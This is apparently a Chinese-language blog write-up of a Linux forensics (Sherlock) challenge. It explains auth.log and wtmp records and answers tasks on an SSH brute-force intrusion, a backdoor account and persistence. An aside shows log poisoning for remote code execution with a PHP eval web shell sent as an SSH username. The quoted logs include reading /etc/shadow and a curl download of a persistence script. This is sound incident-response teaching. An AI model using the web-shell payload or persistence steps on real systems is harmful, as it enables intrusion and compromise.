1 | Sherlock Scenario |
Tasks
1 | 1. Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack? |
Analysis
题目给出了两个附件一个auth.log
,一个wtmp
,先介绍一下这两个文件
auth.log
用于记录所有与用户认证相关的日志,包括常见的SSH远程登录,利用sudo提升权限执行命令等都会产生记录
Debian/Ubuntu 系列位于: /var/log/auth.log
Red Hat/CentOS/Fedora系列位于: /var/log/secure
日志每行的格式如下
1 | <Timestamp> <Hostname> <Service>[<process_id>]: <Message> |
我们取出一行数据进行对比
1 | Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2 |
日志说明用户 cyberjunkie
从 65.2.161.68
通过 SSH 登录到名为 ip-172-31-35-28
的服务器,并成功通过密码认证。
常见事件类型
SSH登录相关
成功
1 | Accepted password for root from 65.2.161.68 port 53184 ssh2 |
失败
1 | Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2 |
爆破
1 | Failed password for root from 65.2.161.68 port 46852 ssh2 |
账户活动
1 | cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow |
系统服务认证
登录会话开始
1 | Mar 6 06:18:01 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0) |
登录会话结束
1 | Mar 6 06:18:01 ip-172-31-35-28 CRON[1118]: pam_unix(cron:session): session closed for user confluence |
筛选安全事件
其实从上面的不同事件的分析中就已经可以很轻松的提取出关键词进行筛选了,下面仅给出简单的示例
筛选登录失败的记录
1 | grep "Failed password" /var/log/auth.log |
筛选登录成功记录
1 | grep "Accepted password" /var/log/auth.log |
统计来自某一 IP 的登录尝试
1 | grep "Failed password" /var/log/auth.log | grep "192.168.1.100" |
我们的log文件默认只有root账户可以访问,如果日志可读我们可以实现RCE,利用SSH可以实现向日志中写马
1 | ssh '<?php @eval($_POST['attack']);?>'@192.168.3.100 |
然后读取日志利用attack这个参数值实现RCE即可
wtmp
说到wtmp
文件就不得不提到另外两个文件了,utmp
和btmp
说一下三者的区别
wtmp
:是一个二进制文件,永久记录每个用户登录、注销及系统的启动、停机的事件。位于/var/log/wtmp
读取wtmp
文件
1 | last |
登录时间:用户登录的时间戳(从 1970 年 1 月 1 日开始的秒数)。
登出时间:用户登出的时间戳,或“仍然登录”。
终端号:用户登录时所用的终端(例如
tty1
、pts/1
等)。主机名:用户登录时的远程主机地址(如果是远程登录)。
登录状态:表示是否为登录或注销(例如用户登录时会有一个事件标记,注销时会有另一个事件标记)。
用户名:登录的用户名。
utmp
:记录当前登录的每个用户的信息。
读取utmp
文件显示简略信息
1 | who |
读取utmp
文件显示详细信息
1 | w |
btmp
:记录所有失败的登录尝试,包括远程主机,登录失败的原因,在检查暴力破解中还是比较有用的。
显示 btmp
文件中的失败登录记录(需要root权限)
1 | lastb |
可以利用下面的命令将三种文件均转化成人类可读格式
1 | utmpdump /var/log/wtmp |
输出列分别代表
- Event Type
- PID
- Terminal ID
- User
- Host
- IP Address
- Timestamp
题目的日志记录还是比较少的,我们直接使用Notepad即可,
Task1
攻击者IP很简单,直接找Failed的记录就行了
Answer:65.2.161.68
Task2
爆破成功的用户直接找Accept即可
发现存在4次记录,第一次应该正常的用户登录,紧接着最近的一次成功记录就是我们要找的爆破成功记录,用户是root
Answer:root
Task3
我们需要查找攻击者手动登录的时间戳,为什么会存在手动登录这一说法呢,我们先看下图
我们发现登陆成功和会话被移除时间间隔甚至不到一秒钟,这是因为暴力破解工具只检查登陆成功或失败的状态,然后记录成功的情况供攻击者稍后进行尝试。那么接下来我们只需要寻找下一次root账户的登录时间即可,这里我们也可以通过wtmp
文件进行辅助
注:请注意这里的时间虽然和
auth.log
的内容稍有出入,但是实际上也是正确的,只是小时因为时区的问题会比auth.log
中快上几小时
可以发现从SSH开始验证用户身份的合法性到成功登录之间存在一秒钟的差别,这是正常现象,因为验证/etc/shadow
文件中的哈希和启动交互式会话均需要花费时间
这里的时间以wtmp
文件中的为准
Answer: 2024-03-06 06:32:45
Task4
手动登陆时分配的会话号在登录日志里有
Answer:37
Task5
为了实现权限持久化,攻击者创建了后门账户,我们在登陆后的账户活动中可以发现端倪
添加cyberjunkie到sudo组中,并授予其对/etc/shadow
文件的访问权限
Answer:cyberjunkie
Task6
用于持久化的MITRE ATT&CK子技术 ID直接在MITRE ATT&CK官网上查就行了
Answer: T1136.001
Task7
根据 auth.log,攻击者的第一个 SSH 会话何时结束
Answer:2024-03-06 06:37:24
Task8
攻击者在后门账户上利用高权限下载脚本的完整命令
Answer:/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
About this Post
This post is written by Chromos2me, licensed under CC BY-NC 4.0.